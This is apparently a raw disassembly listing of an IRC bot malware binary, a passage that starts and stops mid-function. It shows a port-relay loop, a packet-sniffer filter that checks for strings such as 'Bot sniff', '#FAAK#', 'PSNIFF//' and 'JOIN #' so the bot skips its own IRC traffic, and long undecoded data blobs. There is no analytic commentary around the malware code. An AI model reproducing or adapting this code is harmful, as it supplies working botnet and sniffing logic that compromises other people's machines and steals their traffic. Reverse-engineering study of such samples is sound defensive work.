		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 27D0101h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E781E890h, 4D8B0228h, 34C969C8h, 3B000002h,	248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E6FDE890h
		dd 0EDEB0228h, 0EF51E890h, 8D500228h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22EE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22EE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2EE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022EE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022EE0h
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Eh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	0DF82E853h
		dd 0FF90022Eh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
		db 0DFh, 2Eh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	228E25Fh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022EDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0E199E800h, 0FF900228h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0E165E890h, 8D530228h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 0DCDAE853h, 8B90022Eh, 9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch
		dd 2218E0Fh, 88A00000h,	8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22EDA1Ch, 3E868h, 5CE89000h
		dd 570228DEh, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 0DD41E890h, 15FF0228h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2ED49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Eh, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	0D346E856h
		dd 5690022Eh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Eh, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2ED123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
